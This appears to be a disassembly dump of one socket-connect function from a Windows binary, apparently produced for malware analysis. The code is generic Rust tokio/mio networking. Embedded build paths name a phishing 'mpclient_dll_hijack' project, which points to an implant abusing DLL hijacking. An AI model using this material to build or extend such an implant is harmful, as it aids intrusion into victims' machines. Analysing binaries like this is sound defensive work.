Function at 0x14007d5f2
Capabilities:
Connect socket

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1f8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x78]
test eax, eax
mov qword [rsp + 0xa8], rdx
je 0x14007d66d
cmp eax, 3
jne 0x14007e05a
lea r14, [rdi + 0x30]
lea r15, [rdi + 0x70]
movzx eax, byte [rdi + 0x70]
test eax, eax
je 0x14007d733
cmp eax, 3
jne 0x14007e06e
mov rax, qword [rdi + 0x68]
mov rdx, qword [rax + 0x10]
lea rbx, [rsp + 0xb8]
mov rcx, rbx
call fcn.1400cf14a
mov al, byte [rbx + 9]
cmp al, 3
jne 0x14007d91f
mov byte [r15], 3
jmp 0x14007ddf5
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0x30], rsi
mov rcx, qword [rdi + 0x20]
mov qword [rdi + 0x28], rcx
cmp word [rdi], 0
movzx eax, word [rdi + 0x12]
mov word [rsp + 0x70], ax
movups xmm0, xmmword [rdi + 2]
movaps xmmword [rsp + 0x60], xmm0
je 0x14007d74f
mov eax, dword [rdi + 0x14]
mov edx, dword [rdi + 0x18]
movzx r9d, word [rdi + 0x1c]
mov r8, qword [rsp + 0x62]
mov r10d, dword [rsp + 0x6a]
movzx r11d, word [rsp + 0x6e]
movzx esi, word [rsp + 0x70]
rol r9w, 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xd4], xmm0
movups xmmword [rsp + 0xe4], xmm0
movups xmmword [rsp + 0xf4], xmm0
movups xmmword [rsp + 0x104], xmm0
movups xmmword [rsp + 0x114], xmm0
and dword [rsp + 0x134], 0
movups xmmword [rsp + 0x124], xmm0
mov qword [rsp + 0xc0], r8
mov dword [rsp + 0xc8], r10d
mov word [rsp + 0xcc], r11w
mov word [rsp + 0xce], si
mov dword [rsp + 0xd0], edx
mov r8d, 0x1c
mov r10w, 0x17
jmp 0x14007d794
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rsi
jmp 0x14007d802
lea rdx, [rsp + 0xc0]
movzx r9d, word [rsp + 0x64]
mov eax, dword [rsp + 0x60]
rol r9w, 8
xorps xmm0, xmm0
movups xmmword [rdx + 0x60], xmm0
movups xmmword [rdx + 0x50], xmm0
movups xmmword [rdx + 0x40], xmm0
movups xmmword [rdx + 0x30], xmm0
movups xmmword [rdx + 0x20], xmm0
and qword [rdx + 0x70], 0
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx], xmm0
mov r8d, 0x10
mov r10w, 2
lea rdx, [rsp + 0xb8]
mov word [rdx], r10w
mov word [rdx + 2], r9w
mov dword [rdx + 4], eax
mov dword [rdx + 0x80], r8d
call sub.ws2_32.dll_connect
test eax, eax
je 0x14007d7df
call fcn.140043ea3
mov rbp, rax
mov qword [rsp + 0x60], rax
mov rcx, rax
call fcn.140076e41
cmp al, 0xd
jne 0x14007d907
lea rcx, [rsp + 0x60]
call fcn.1400361e6
mov rax, qword [rdi + 0x28]
mov qword [rdi + 0x30], rax
and qword [rdi + 0x38], 0
lea rax, [rdi + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [rdi + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rdi + 0x70], 0
mov rsi, qword [rdi + 0x30]
mov rdi, qword [rdi + 0x38]
lea rbx, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_src_net_tcp_stream.rs_
mov rcx, rbx
call fcn.1400ce136
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rdx
lea rbp, [rdx + 0x130]
mov qword [rsp + 0x148], rdx
lea rcx, [rdx + 0xc8]
test rax, rax
mov eax, 0xc8
mov esi, 0x130
cmove rsi, rax
cmove rbp, rcx
mov rcx, rbp
mov rdx, rbx
call fcn.1400cab1d
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x40], rcx
call sub.kernel32.dll_AcquireSRWLockShared
mov al, byte [rbp + 0x20]
test al, al
jne 0x14007e01c
mov qword [rsp + 0x140], rsi
cmp byte [rbp + 0xc0], 0
je 0x14007d8ab
lea rdx, str.A_Tokio_1.x_context_was_found__but_it_is_being_shutdown._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_src_runtime_io_mod.rs
mov r8d, 0x38
jmp 0x14007d94b
mov esi, 5
cmp rsi, 0x18
je 0x14007d93e
mov rdi, qword [rbp + rsi*8]
mov rax, qword [rdi + 0x48]
cmp rax, qword [rdi + 0x50]
je 0x14007d902
lea r12, [rdi + 0x10]
mov rcx, r12
call fcn.1400cb1b8
mov r14, rax
mov ebx, edx
mov r13, qword [rax + 0x20]
mov r15, qword [rax + 0x28]
cmp r15, r13
jb 0x14007dad2
mov r15, qword [rdi + 0x50]
cmp r15, r13
jne 0x14007db36
mov rcx, r14
mov edx, ebx
call fcn.1400cc967
inc rsi
jmp 0x14007d8b0
mov rcx, qword [rdi + 0x28]
call fcn.140076116
mov edi, 2
mov rsi, qword [rsp + 0x30]
jmp 0x14007de2a
cmp al, 2
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x48], r15
jne 0x14007da5f
mov rbp, qword [rsp + 0xb8]
jmp 0x14007dc83
lea rdx, str.reactor_at_max_registered_I_O_resources_mark_pending_called_when_the_timer_entry_is_in_an_invalid_state
mov r8d, 0x27
mov cl, 0x27
call fcn.14009b024
mov rbp, rax
xor esi, esi
mov rcx, qword [rsp + 0x40]
call sub.kernel32.dll_ReleaseSRWLockShared
test sil, sil
je 0x14007d9b7
mov rbx, qword [r12 + 0x40]
shr ebx, 0x18
and ebx, 0x7f
mov ecx, 0xffffff
xor edx, edx
mov r8, rbp
xor r9d, r9d
call fcn.1400cb13b
mov ecx, 0x7f000000
mov edx, 0x18
mov r8, rbx
mov r9, rax
call fcn.1400cb13b
cmp qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x30]
je 0x14007d9c1
movabs rbp, 0xc00000003
jmp 0x14007dda0
mov rsi, qword [rsp + 0x30]
jmp 0x14007dda8
mov r13, rax
mov qword [rsp + 0x30], rsi
mov rbx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x140]
mov rdi, qword [rax + rcx]
lea rsi, [rdi + 0x18]
mov qword [rsp + 0xb0], rsi
lea rdx, [rdi + 0x20]
lea r14, [rsp + 0xb8]
mov rcx, r14
call fcn.140044a2f
lea rdx, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_mio_src_sys_windows_selector.rs
mov rcx, r14
call fcn.140045419
mov r15, rax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], dl
lea rdx, [rax + 0x10]
mov rax, qword [rax + 0x20]
test rax, rax
je 0x14007dba9
mov rcx, qword [rdx]
mov rax, qword [rcx + rax*8 - 8]
mov rax, qword [rax]
cmp rax, 0x20
jbe 0x14007dbd1
mov rax, qword [rsp + 0xb0]
mov r15, qword [rsp + 0x50]
lea rdx, [r15 + 0x10]
mov rcx, qword [rax]
jmp 0x14007dbac
lea rcx, [rdi + 0x40]
call fcn.1400cdd0f
mov rcx, qword [rax]
lea r9, [rsp + 0x60]
and dword [r9], 0
mov dword [rsp + 0xb8], 4
mov qword [rsp + 0x20], rbx
mov edx, 0xffff
mov r8d, 0x1007
call sub.ws2_32.dll_getsockopt
cmp eax, 0xffffffff
je 0x14007dc74
mov ebp, dword [rsp + 0x60]
test rbp, rbp
jne 0x14007dc7b
mov rcx, rdi
mov rdi, qword [rdi + 0x40]
mov rbp, qword [rcx + 0x48]
mov rax, qword [rcx + 0x60]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0x1a0], xmm0
jmp 0x14007ddc7
imul rsi, r15, 0x58
mov r13, qword [r14 + 0x10]
mov rax, qword [r14 + 0x30]
mov ecx, dword [r13 + rsi + 0x50]
mov qword [r14 + 0x28], rcx
inc rax
mov qword [r14 + 0x30], rax
mov qword [rdi + 0x48], rax
mov r12, qword [r13 + rsi + 0x40]
shr r12d, 0x18
and r12d, 0x7f
inc r12d
mov ecx, 0x7f000000
mov edx, 0x18
call fcn.1400cb18c
and r12d, eax
mov ecx, 0x7f000000
mov edx, 0x18
mov r8, r12
xor r9d, r9d
call fcn.1400cb13b
mov qword [r13 + rsi + 0x40], rax
mov r13, r15
jmp 0x14007dfeb
mov rbp, r14
add rbp, 0x10
test r13, r13
jne 0x14007df39
movabs rcx, 0x8000000000000001
mov rax, qword [r14 + 0x18]
cmp rax, r15
jae 0x14007def1
movabs rcx, 0x1745d1745d1745e
xor edx, edx
cmp r15, rcx
setb dl
imul r8, r15, 0x58
shl rdx, 3
test rax, rax
je 0x14007def3
imul rax, rax, 0x58
mov rcx, qword [rbp]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], 8
mov qword [rsp + 0xc8], rax
jmp 0x14007defc
mov rcx, qword [rsi]
call fcn.140045ed2
mov rbp, rax
test rax, rax
mov rsi, qword [rsp + 0x30]
je 0x14007dbd6
mov rcx, qword [rsp + 0x50]
mov dl, byte [rsp + 0x58]
call fcn.1400cc967
jmp 0x14007dda0
mov r15, qword [rsp + 0x50]
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x14007e09d
mov rcx, qword [r15 + 0x10]
mov r15, qword [rcx + rax*8 - 8]
lock inc qword [r15]
jle 0x14007e06a
mov qword [rsp + 0x40], r13
mov rcx, qword [rsp + 0x50]
mov dl, byte [rsp + 0x58]
call fcn.1400cc967
mov qword [rsp + 0x1d8], r15
lea r14, [rsp + 0x60]
mov rcx, r14
mov rdx, rbx
mov r8d, 0x48000022
call fcn.140046063
cmp dword [r14], 0
je 0x14007dc91
xor esi, esi
lea rbp, [0x1401b20e0]
lea r14, [rsp + 0xb8]
cmp rsi, 0xc
je 0x14007dd82
mov r8d, dword [rsi + rbp]
mov rcx, r14
mov rdx, rbx
call fcn.140046063
add rsi, 4
cmp dword [rsp + 0xb8], 0
jne 0x14007dc3e
mov r13, qword [rsp + 0xc0]
cmp r13, rbx
je 0x14007dc3e
jmp 0x14007dc96
call sub.ws2_32.dll_WSAGetLastError
mov ebp, eax
shl rbp, 0x20
or rbp, 2
lea rcx, [rdi + 0x40]
call fcn.140075f10
jmp 0x14007ddc2
mov r13, qword [rsp + 0x68]
mov ecx, pe_nt_image_headers64
call fcn.1400440ed
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
and qword [rbx + 0x10], 0
mov byte [rbx + 0x18], 0
and dword [rbx + 0x20], 0
lea rdx, [rbx + 0x10]
mov qword [rbx + 0x28], r15
xorps xmm0, xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], r13
movups xmmword [rbx + 0x68], xmm0
and word [rbx + 0x78], 0
lea r14, [rsp + 0xb8]
mov rcx, r14
call fcn.140037386
lea rdx, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_mio_src_sys_windows_selector.rs
mov rcx, r14
call fcn.140044f35
mov dword [rax + 0x60], 0x19d
mov r15, qword [rsp + 0x40]
mov qword [rax + 0x58], r15
mov rcx, rax
call fcn.1400cc967
lock inc qword [rdi]
jle 0x14007e06a
lock inc qword [rbx]
mov rsi, qword [rsp + 0x30]
jle 0x14007e06a
lea r14, [rdi + 0x10]
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc8], r15
mov byte [rsp + 0xd0], 3
mov qword [rsp + 0xc0], rbx
mov rcx, r14
mov rdx, rbx
call fcn.140045e26
mov rcx, r14
call fcn.140045e72
test rax, rax
je 0x14007de6a
mov rbp, rax
lea rcx, [rsp + 0xb8]
call fcn.1400460d0
jmp 0x14007dda0
mov ebp, dword [rsp + 0x64]
shl rbp, 0x20
or rbp, 2
lea rcx, [rsp + 0x1d8]
call fcn.140044327
mov rsi, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400cd1bc
lea rcx, [rsp + 0x150]
call fcn.1400c89f5
lea rcx, [rsp + 0x90]
call fcn.1400ccf6d
mov edi, 2
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x170], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x48]
mov byte [rax], 1
cmp rdi, 3
jne 0x14007de00
mov qword [rsi], 3
mov al, 3
jmp 0x14007de4b
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x180], xmm0
mov rcx, qword [rsp + 0x38]
call fcn.14007d5d7
mov qword [rsi], rdi
mov qword [rsi + 8], rbp
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x190]
mov qword [rsi + 0x20], rax
mov al, 1
mov rcx, qword [rsp + 0xa8]
mov byte [rcx + 0x78], al
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0xc8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1c0], xmm0
mov ecx, 0x20
call fcn.1400440ed
mov r14, rax
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x98]
call fcn.140046105
movups xmm0, xmmword [rsp + 0x150]
mov rcx, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xa8]
lea rax, [rdi + 0x40]
movups xmmword [rdi + 0x40], xmm0
mov qword [rdi + 0x50], r12
mov qword [rdi + 0x58], rcx
mov qword [rdi + 0x60], r14
mov qword [rdi + 0x68], rax
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x48]
mov r8, qword [rsp + 0xa0]
jmp 0x14007d645
jmp 0x14007df34
and qword [rsp + 0xc0], 0
lea rsi, [rsp + 0x60]
lea r9, [rsp + 0xb8]
mov rcx, rsi
call fcn.140011f42
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
je 0x14007df22
mov rdx, qword [rsp + 0x70]
jmp 0x14007df34
mov qword [r14 + 0x10], rcx
mov qword [r14 + 0x18], r15
movabs rcx, 0x8000000000000001
call fcn.140011f17
xorps xmm0, xmm0
movups xmmword [rsp + 0xbf], xmm0
and qword [rsp + 0xcf], 0
mov rax, qword [rsp + 0xd7]
mov qword [rsp + 0x7f], rax
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x70], xmm0
mov rdx, qword [r14 + 0x20]
cmp rdx, qword [r14 + 0x18]
jne 0x14007df8a
mov rcx, rbp
call fcn.1400cd627
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x10]
imul rcx, rdx, 0x58
and qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + rcx + 9], xmm0
movups xmmword [rax + rcx + 0x19], xmm1
mov rdx, qword [rsp + 0x7f]
mov qword [rax + rcx + 0x28], rdx
and qword [rax + rcx + 0x30], 0
and qword [rax + rcx + 0x40], 0
mov qword [rax + rcx + 0x48], r12
and dword [rax + rcx + 0x50], 0
inc qword [r14 + 0x20]
inc qword [r14 + 0x28]
mov rax, qword [r14 + 0x30]
inc rax
mov qword [r14 + 0x30], rax
mov qword [rdi + 0x48], rax
mov byte [rdi + 0x60], 1
cmp qword [r14 + 0x20], r13
jbe 0x14007e088
mov rbp, qword [rdi + 0x58]
add rbp, r13
lock inc qword [rdi]
jle 0x14007e06a
imul r12, r13, 0x58
add r12, qword [r14 + 0x10]
mov rcx, r14
mov edx, ebx
call fcn.1400cc967
mov sil, 1
jmp 0x14007d957
add rbp, 0x28
lea r8, [rsp + 0xb8]
mov qword [r8], rbp
mov rax, qword [rsp + 0x40]
mov qword [r8 + 8], rax
lea rax, [0x1401bf610]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401be018]
mov edx, 0x2b
call fcn.140014ef0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain_Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_util_src_lib.rs
lea r8, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_src_net_tcp_socket.rsPee_
jmp 0x14007e07c
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain_Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_util_src_lib.rs
lea r8, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_src_net_tcp_stream.rs_
mov edx, 0x23
call fcn.140013970
ud2
lea rcx, str.assertion_failed:_idx___self.slots.len__
lea r8, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_src_util_slab.rs
mov edx, 0x28
jmp 0x14007e081
lea rax, [rsp + 0xb0]
lea rdx, [rsp + 0x1d8]
mov qword [rdx], rax
lea rax, [0x140044a54]
mov qword [rdx + 8], rax
lea rax, [rsp + 0x50]
mov qword [rdx + 0x10], rax
lea rax, [0x140045511]
mov qword [rdx + 0x18], rax
mov eax, 2
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc8], rax
and qword [rsp + 0xd8], 0
movabs rcx, 0x400000020
mov qword [rsp + 0xe0], rcx
mov r8b, 3
mov byte [rsp + 0xe8], r8b
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x110], 1
mov qword [rsp + 0x118], rcx
mov byte [rsp + 0x120], r8b
lea r8, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
lea rcx, [rsp + 0x60]
mov qword [rcx], r8
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], r14
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_mio_src_sys_windows_selector.rs
call fcn.140012cc0
ud2